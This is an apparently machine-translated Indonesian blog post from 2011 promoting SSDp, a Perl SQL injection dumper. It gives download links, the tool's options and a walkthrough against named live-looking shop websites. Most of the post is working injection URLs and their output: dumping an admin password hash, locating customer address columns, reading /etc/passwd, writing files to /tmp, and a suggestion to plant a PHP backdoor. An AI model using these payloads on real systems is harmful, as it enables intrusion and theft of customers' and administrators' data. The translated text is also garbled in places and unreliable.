Kamis, 13 Januari 2011

[O] perhatian
GUNAKAN ALAT INI HANYA UNTUK TUJUAN PENDIDIKAN.
KAMI TIDAK BERTANGGUNG JAWAB DAN SEGALA KERUSAKAN benar PENGGUNAAN ALAT INI.
USE IT AT RISIKO ANDA SENDIRI!
[O] apa SSDp?
SSDp adalah alat penetrasi berguna untuk mencari bug, kesalahan atau kerentanan dalam database MySQL.
[O] download SSDp v5.1
http://okedeh.co.tv/ssdp51.tar.gz
http://pacenoge.org/tool/ssdp51.tar.gz
[O] fungsi
- SQL Injection
- Sistem Operasi Fungsi
- Dump Database
- Ekstrak Skema Database
- Search Kolom Nama
- Baca File (baca saja)
- Membuat File (baca saja)
- Tabel Brute & Kolom
[O] perintah dan opsi
[Root @ evilc0de Noge] # perl ssdp.pl-h
|--------------------------|
| Usage: [pilihan] perl ssdp.pl |
| |
|-U [SQLi URL] target dengan parameter id atau url sqli dengan string c0li |
|-E [end sqli tag] tag akhir injeksi sql (default: "-") |
|-D [nama database] opsi ini tidak boleh digunakan (default: @ @ database) |
|-T [nama tabel] nama_tabel |
|-C [nama kolom] nama_kolom (contoh: id, user, pass, email) |
|-S [spasi code] kode SPACE: +,/**/,% 20 (default: "+") |
|-F [maks bidang] lapangan maks untuk mendapatkan nomor ajaib (default: 123) |
|-Start [num] nomor baris untuk mulai data dumping |
|-Stop [num] nomor baris untuk menghentikan dumping |
|-Mana [query] query khusus dumping Anda |
| |
|-Info MySQL Dapatkan Informasi [MySQL v4 +] |
|-DBASE concat Database [MySQL v5 +] |
| Tabel-tabel concat [MySQL v5 +] |
| Concat Kolom-kolom [MySQL v5 +] |
|-Tabcol concat Tabel dengan Kolom [MySQL v5 +] |
|-Menemukan Pencarian Kolom Nama [MySQL v5 +] |
|-Sihir Cari Magic Nomor [MySQL v4 +] |
|-Dump Dump Data [MySQL v4 +] |
|-Tabel Fuzzing kasar & Kolom [MySQL v4 +] |
| |
|-Log [nama file] nama file untuk menyimpan data ssdp (default: ssdp.log) |
|-P [http proxy] hostname: port |
|--------------------------|
[O] bukti dari konsep
[0x01] angka ajaib (kolom null).
pertama-tama kita harus menemukan kolom null (angka ajaib).
null kolom yang digunakan untuk mengeksekusi query SQL kita.
# Perl ssdp.pl-u [target URL]-sihir
[Root @ evilc0de Noge] # ssdp.pl u-perl http://www.460productions.com/store.php?cat=2-sihir
[O ]=============================================== == [x]
| Wikipedia SQLi Dumper v5.1 |
| Kode oleh VRS-hCk |
[O ]=============================================== == [o]
Bantuan Command:-h,-help,-help
[+] URL: http://www.460productions.com/store.php?cat=2
[+] End Tag: -
Mencoba untuk menemukan angka ajaib ...
[+] Pengujian: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 , 24,
[+] Bidang Durasi: 24
Nomor [+] Magic: 1
[+] URL Injeksi: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
Menampilkan Informasi MySQL ...
[+] Database: 460store
[+] Pengguna: i460usr@boscgi1002.eigbox.net
[+] Version: 5.0.51a-log
[+] Sistem: redhat-linux-gnu
[+] Akses ke "mysql" Database: Tidak ada
[+] Baca File "/ etc / passwd": Ya (w00t)
[+] Buat File "/ tmp/c0li-430.txt": Ya (w00t)
Selesai.
angka ajaib kita adalah 1 dan akan mengganti dengan string "c0li".
kita dapat melihat informasi database dan sistem operasi juga.
[0x02] menemukan meja
sekarang kita menggunakan URL yang menyertakan "c0li" string di atasnya untuk menemukan tabel & kolom.
# Perl ssdp.pl-u [URL c0li]-tabel
[Root @ evilc0de Noge] # perl-u ssdp.pl http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4 , 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-meja
[O ]=============================================== == [x]
| Wikipedia SQLi Dumper v5.1 |
| Kode oleh VRS-hCk |
[O ]=============================================== == [o]
Bantuan Command:-h,-help,-help
[+] C0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4,5,6,7 , 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: -
[+] Database Nama: database ()
[+] Jumlah Tabel: 18
Menampilkan tabel ...
[1] aspect_ratio (2)
[2] audio_format (3)
[3] kategori (7)
[4] pelanggan (200)
[5] deposit (11)
[6] discount_group (9)
[7] discount_group_price (10)
[8] order ()
[9] order_item (261)
[10] order_source (5)
[11] order_status (4)
[12] order_type (2)
[13] payment_type (4)
[14] produk (30)
[15] product_group (17)
[16] keamanan (1)
[17] shopping_cart (0)
[18] user_session (68)
Selesai.
yang merupakan daftar semua tabel dalam database ()
[0x03] menemukan kolom
mari kita lihat kolom dari tabel yang disebut "keamanan".
# Perl ssdp.pl-u [URL c0li]-t [table]-kolom
[Root @ evilc0de Noge] # perl-u ssdp.pl http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4 , 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-t keamanan-kolom
[O ]=============================================== == [x]
| Wikipedia SQLi Dumper v5.1 |
| Kode oleh VRS-hCk |
[O ]=============================================== == [o]
Bantuan Command:-h,-help,-help
[+] C0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4,5,6,7 , 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: -
[+] Database Nama: database ()
[+] Tabel Nama: keamanan
[+] Jumlah Kolom: 5
Menampilkan kolom dari tabel "keamanan" ...
[+] Keamanan (1): user_id, username, password, admin, last_login
Selesai.
aha! kita punya kolom bernama "username" dan "password".
[0x04] data dumping
sekarang kita akan melihat informasi dalam kolom itu .. :)
# Perl ssdp.pl-u [URL c0li]-t [table]-c [kolom], [kolom]-dump
[Root @ evilc0de Noge] # perl-u ssdp.pl http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4 , 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-t-c keamanan username, password-dump
[O ]=============================================== == [x]
| Wikipedia SQLi Dumper v5.1 |
| Kode oleh VRS-hCk |
[O ]=============================================== == [o]
Bantuan Command:-h,-help,-help
[+] C0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4,5,6,7 , 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: -
[+] Database Nama: database ()
[+] Tabel Nama: keamanan
[+] Kolom Nama: username, password
[+] Data Count: 1
Dumping data ...
[1] admin: 2ec20101734c754d
Selesai.
kita punya username admin dan password hash. :D
ok saya telah menunjukkan cara untuk menemukan nomor ajaib, tabel, kolom dan data dump kolom menggunakan SSDp.
[0x05] pencarian nama kolom (-cari)
sekarang saya akan menunjukkan kepada Anda bagaimana menggunakan-menemukan pilihan (Search Nama Kolom)
Saya akan mencoba untuk kolom search dengan kata kunci "alamat" itu memerlukan opsi-c (kolom)
# Perl ssdp.pl-u [URL c0li]-d [nama database]-c [kata kunci]-menemukan
[Root @ evilc0de Noge] # perl-u ssdp.pl http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4 , 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-d-c 460store menemukan alamat-
[O ]=============================================== == [x]
| Wikipedia SQLi Dumper v5.1 |
| Kode oleh VRS-hCk |
[O ]=============================================== == [o]
Bantuan Command:-h,-help,-help
[+] C0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li, 2,3,4,5,6,7 , 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: -
[+] Database Nama: 460store
[+] Kolom Nama string untuk mencari Alamat
Mencari Path Kolom ...
[+] Kolom Found:
[1] 460store.customer.email_address
[2] 460store.customer.address_line1
[3] 460store.customer.address_line2
[4] 460store.customer.address_city
[5] 460store.customer.address_state
[6] 460store.customer.address_zip
[7] 460store.customer.address_country
[8] 460store.customer.address_name
Selesai.
menemukan kolom dengan kata "alamat" pada tabel "pelanggan". mudah kan? : P
[0x06] membaca & membuat file (baca saja)
sekarang mari kita lihat Dibaca Berkas (baca saja) & Buat File (baca saja).
kenapa read only? coz desain ini berfungsi hanya untuk menguji apakah kita bisa membaca file atau tidak.untuk menyuntikkan, kita melakukannya secara manual .. :(
seperti yang Anda lihat pada saat pertama kali kita menemukan angka ajaib Anda akan menemukan baris ini.
[+] Baca File "/ etc / passwd": Ya (w00t)
[+] Buat File "/ tmp/c0li-159.txt": Ya (w00t)
itu berarti kita dapat membaca (load_file) / etc / passwd file target juga kita dapat membuat file di / tmp direktori.
untuk menggunakan load_file Anda perlu mengkonversi / etc / passwd ke heksadesimal.http://pacenoge.org/encdec
http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1, 2,3,4,5,6, load_file (0x2f6574632f706173737764), 8,9 , 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -
hasilnya akan seperti ini.
root: x: 0:0: root: / root: / bin / bash
daemon: x: 1:1: daemon: / usr / sbin: / bin / sh
bin: x: 02:02: bin: / bin: / bin / sh
sys: x: 03:03: sys: / dev: / bin / sh
sync: x: 4:65534: sync: / bin: / bin / sync
games: x: 5:60: games: / usr / games: / bin / sh
manusia: x: 6:12: man: / var / cache / man: / bin / sh
mari kita membuat beberapa file / direktori tmp. :)
http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1, 2,3,4,5,6, "Wikipedia SQLi Dumper", 8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 + ke + outfile + "/ ssdp.txt tmp /" -
URL di atas berarti kita menulis "Wikipedia SQLi Dumper" ke ssdp.txt yang terletak pada direktori / tmp.
untuk melihat apakah ia bekerja atau tidak ada mari kita baca / tmp / ssdp.txt menggunakan fungsi load_file.jangan lupa untuk mengubahnya terlebih dahulu.
http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1, 2,3,4,5,6, load_file (0x2f746d702f737364702e747874), 8,9 , 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -
dan Anda akan melihat hasil seperti ini.
1 2 3 4 5 6 Wikipedia SQLi Dumper 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
bahwa kata kita tulis di / tmp / ssdp.txt.
apa yang bisa kita lakukan dengan membuat file vuln? kita bisa membuat file php sebagai backdoor di target jika kita tahu jalur direktori. :) )
[0x07 seperti] kasar MySQL v4
menebak tabel & kolom untuk MySQL v4.
Anda dapat menambahkan meja Anda sendiri nama & nama kolom dengan mengedit file bernama tables.dict & columns.dict.
# Perl ssdp.pl-u [URL c0li]-kasar
[Root @ evilc0de Noge] # perl-u ssdp.pl http://www.samra.com/product_details.php?product_id=322+AND+1=2+UNION+ALL+SELECT+1, 2,3,4 , 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 , 30,31, c0li, 33-kasar
[O ]=============================================== == [x]
| Wikipedia SQLi Dumper v5.1 |
| Kode oleh VRS-hCk |
[O ]=============================================== == [o]
Tanggal: Sun 21 Mar 2010 19:31:42
Bantuan Command:-h,-help,-help
[+] C0li SQLi URL: http://www.samra.com/product_details.php?product_id=322+AND+1=2+UNION+ALL+SELECT+1, 2,3,4,5,6,7 , 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, c0li , 33
[+] SQLi End Tag: -
Menemukan Tabel & Kolom ...
[1] admin_user: username, password, email, adminid, adminname, telepon,
Selesai.
ditemukan tabel "admin_user"
menemukan kolom "username" "password" "email" "adminid" "adminname" "telepon"
[0x08] kesimpulan
dengan menggunakan SSDp, sangat mudah untuk menemukan kerentanan SQL injection pada parameter rentan tertentu atau string.
alat ini juga melakukan uji injeksi SQL ke situs rentan dan mencoba untuk dump data dari database MySQL.
Anda bisa dump data dari kolom database MySQL dan bekerja dengan baik.
Anda dapat mengumpulkan data rahasia dan rahasia seperti username, password nomor kredit, kartu dan lain-lain
namun, saya sarankan menggunakan alat ini secara benar. okey dude? : P
[0x09] referensi
perl ssdp.pl-h
http://en.wikipedia.org/wiki/SQL_injection
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
[0x10] greetz ^ ^
SSDp kode oleh VRS-hCk (ander [at] antisecurity [dot] org)
SSDp Cara oleh Noge (mario [at] antisecurity [dot] org)
VRS-hCk OoN_Boy Paman zxvf malaikat stardustmemory
s4va xr00tb0y S3T4N pizzyroot Matthews martfella

Tidak ada komentar:

Posting Komentar

Free Download 4shared Premium Gratis

http://bengkelweb.co.de/4shared/

Valid CSS!

LinuxHQ LinuxHQ
Free Automatic Backlink Religion (Islam) - TOP.ORG Religion blogs powered by PRBbutton Religion Blogs - Blog Rankings rantop.com Saung Link SEO-Supreme Professional search tools for free Get Freebl Religion Blogs